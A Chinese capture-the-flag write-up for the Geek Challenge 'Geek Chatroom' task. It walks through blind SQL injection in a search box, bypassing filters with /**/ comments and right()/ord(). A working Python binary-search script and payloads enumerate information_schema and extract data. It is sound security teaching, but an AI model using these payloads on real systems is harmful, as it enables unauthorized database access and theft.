第九届极客大挑战——Geek Chatroom（sql盲注）

首先观察这个web应用的功能，可以任意留言，也可以搜索留言，当然我还用cansina扫描过网站，查看过源码，抓包查看过header等。没发现其他提示的情况下断定这就是个sql注入，可能存在的注入点呢，就是留言时产生 insert into 注入，或者搜索时产生的 like '%xx%' 注入。经过多次尝试，发现留言板不存在注入点，注入点就在搜索功能中。

有过网站开发经验的应该很清楚搜索功能一般是这样实现的

select * from users where name like '%tom%';

%是通配符，匹配零个或多个字符，这句sql便是查找users表中所有name字段里带tom的。

我猜想该web应用后台的查询功能语句如下

select * from message where message like '%xxx%';

所以构造语句 123456789%'#

可以看到成功搜索到123456789，因为后台的语句被拼接成了

select * from message where message like '%123456789%’#%'

即

select * from message where message like '%123456789%'

当我尝试union查询的时候，发现显示

看来有对某些关键字有过滤，union不能用就不能让后台数据直接显示了(也或是存在我不知道的方法)，不过到这步我就自然想到sql盲注，于是构造

语句注入成功，and 1 条件为真就可以查到数据，and 0 条件为假便不能查到数据。我这里用了括号，这是因为经过多次测试，发现对空格也有过滤或者替换，只要出现空格，语句就错误，所以便用括号来绕过空格，当然用注释/**/也是可以的

接下来就是常规的sql盲注步骤，要注意的就是这里过滤了文本截取函数substr()，mid()，和字符转ascii码函数ascii()等，但是没有过滤left()，right()和ord()，那么就可以利用right()来截取字符串，虽然截取出来是一段字符串，但是用ord()转换一段字符串为ascii码的话，只会取第一个字符，而且right第二个参数大于字符串长度的话是不会有影响的，和等于字符串长度的结果相同，例如

rigth('hello',10) == 'hello'
ord('hello') == ord('h')

于是便可以用right()和ord()遍历每一个字符，猜解整个字段

ord(right('hello',5)) == ord('h')
ord(right('hello',4)) == ord('e')
ord(right('hello',3)) == ord('l')

我用二分法写了一个盲注的python脚本，代码写的丑...大家凑合看，当然不用二分法也行，可以逐个字符对比，不过那样效率极低，极不推荐，至于多线程我没学过就不讨论了。其中第16行的有个 .format(str(30-index)) 里面的30要猜解的当前字段的长度，这个是一开始任意猜的(当然可以先用length()函数确切的判断长度，我觉得麻烦还不如自己猜一个)

以下脚本只演示了猜解当前数据库名

 import requests
 import re

 requests=requests.session()

 strall=[]
 strall.append('')
 for i in range(33,128):
     strall.append(str(i))

 def isthis(index,charascii,compare):
     url='http://daedalus.kim:9000/index.php?act=search'
     headers={
         'Content-Type': 'application/x-www-form-urlencoded',
     }
     data="keyword=123456789%'/**/and/**/ord(right((select/**/database()),{}))".format(str(30-index))+compare+"{}#&submit=Search".format(charascii)
     print data

     r=requests.post(url=url,headers=headers,data=data)

     a=True

     if r.text.find('There are no messages')>=0:
         print 'false'
         a=False
     else:
         print 'true'
         a=True

     return a

 ans=''
 flag=0
 for index in range(1,99):
     left=0
     right=len(strall)
     if flag:
         break

     while left<=right:
         mid=(left+right)>>1
         if isthis(index,strall[mid],">"):
             left=mid+1
         elif isthis(index,strall[mid],"<"):
             right=mid-1
         else:
             if strall[mid]=='':
                 flag=1
                 break
             value=chr(int(strall[mid]))
             ans+=value
             print ans
             break

 print ans

 raw_input('done')

由于我猜的数据库名是30位，所以这里出现的即是30个字符，当然很明显可以看出数据库就是simple_message_board

后面我掉了次坑，我猜解了simple_message_board数据库里的所有表名，只有一张message表，猜解message表的所有列名，发现只有id，username，message，并没有flag，一开始以为有人搅屎，去问了运维发现没有，而且这题也是我拿的一血，怎么会有人搅屎呢，于是我就想到flag可能在其他数据库，所以先来猜解下所有数据库名，不知道mysql里的information_schema数据库的小伙伴可以先去百度一下，这里我就不多解释了，反正在这个数据库里可以查到所有数据库名，表名还有列名，在sql注入中经常用到

查所有数据库名的sql即是

select group_concat(schema_name) from information_schema.schemata

然后把我脚本里的16行改成

data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{}))".format(str(50-index))+compare+"{}#&submit=Search".format(charascii)

这个就很明显了吧，有个叫做flag的数据库

接着猜解表名，16行改成

data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='flag'),{}))".format(str(20-index))+compare+"{}#&submit=Search".format(charascii)

flag数据库里有个flag表

接着猜列名，16行改成

data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='flag'/**/and/**/table_name='flag'),{}))".format(str(20-index))+compare+"{}#&submit=Search".format(charascii)

就一列，flag

最后猜解字段，16行改为

data="keyword=123456789%'/**/and/**/ord(right((select/**/group_concat(flag)/**/from/**/flag.flag),{}))".format(str(25-index))+compare+"{}#&submit=Search".format(charascii)

因为我猜的长度是25，所以这里有25个字符，不过flag是SYC及其后的内容SYC{xxxxxxx}